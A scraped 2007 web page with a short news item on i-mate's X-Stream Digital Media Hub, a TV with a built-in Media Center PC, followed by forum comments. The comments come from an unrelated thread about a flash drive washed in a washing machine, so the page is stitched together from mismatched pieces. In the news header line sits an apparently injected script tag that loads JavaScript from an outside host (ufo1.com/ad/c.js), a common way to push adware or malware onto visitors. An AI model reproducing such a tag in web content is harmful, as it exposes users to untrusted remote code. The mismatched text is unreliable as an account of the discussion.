i-mate X-Stream Media Hub

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 19/02/07
Author: PV5150
Source: Wired

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PDA manufacturer i-mate are apparently nearing completion on their soon to be released X-Stream Digital Media Hub, which is essentially an LCD TV with a Media Center PC built in. The X-Stream runs on Vista Ultimate, has a 500 gig drive, 720 and 1080i support, PVR and a wireless router. Pretty much all you need in one box, without the problematic and untidy nest of cables.

The X-Stream is also a "wireless media hub", which means that it will stream all your media around the house. i-mate have kicked out a few other new products to work with this. First is the X-Stream Dock, a little black box running Windows CE. It'll hook up to a TV for wireless streaming, like the Apple TV. More interesting though, is that it will work like a thin client. With a monitor, keyboard and mouse it looks like a regular PC, albeit without a hard drive or any real power: all the work is done on the big machine over the air. Also no release date, but the price should be under £100 (around US$200).

The X-Stream is not yet available for purchase and pricing has not been confirmed.

i-mate hub

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18-02-2007, 08:05:06

Toxcity
lol!
yeah, it will be fine! I droped a gameboy game in the toilet once! It still works I just lost the save data. :)

18-02-2007, 12:26:38

WC Annihilus

I thought this was going to be an insane Flash drive modded into a washing machine thread :p



TBH I thought somehow he managed to get the flash drive to control the washing machine (don't ask me why) :p

18-02-2007, 14:58:07

PP Mguire

TBH I thought somehow he managed to get the flash drive to control the washing machine (don't ask me why)

Lol yea me to. Like you plug it in and it does all the timing and makes it detect darks and colors and crap. THat would be hella cool. But if you let it dry it should be fine for at least a while.

18-02-2007, 15:32:36

NickS

lol!
yeah, it will be fine! I droped a gameboy game in the toilet once! It still works I just lost the save data. :)



:stickpoke

18-02-2007, 16:10:16

mrapoc
I drove my RC car into a pond haha

It still works, well last time I used it (3 years ago?)

18-02-2007, 18:00:56

OV3RCLOCK3R
Dropped my old phone into toilet once, left it to dry for 7 days and it worked fine afterwards!! :D:D

18-02-2007, 18:02:24

Toxcity
I was happy that my game worked.. But I lost all my save data!
I had nearly got all the Pokemon as well!

:D

18-02-2007, 18:06:27

browney
I've done this so many times it always seems to come out the pocket and stay on the washingmachine door window! :(

19-02-2007, 02:51:21

PP Mguire

I was happy that my game worked.. But I lost all my save data!
I had nearly got all the Pokemon as well!

Lols at Pokemon. Man, i still love the originals.

19-02-2007, 07:54:47

Rastalovich
Just a note, the stick appears to be working fine ;)
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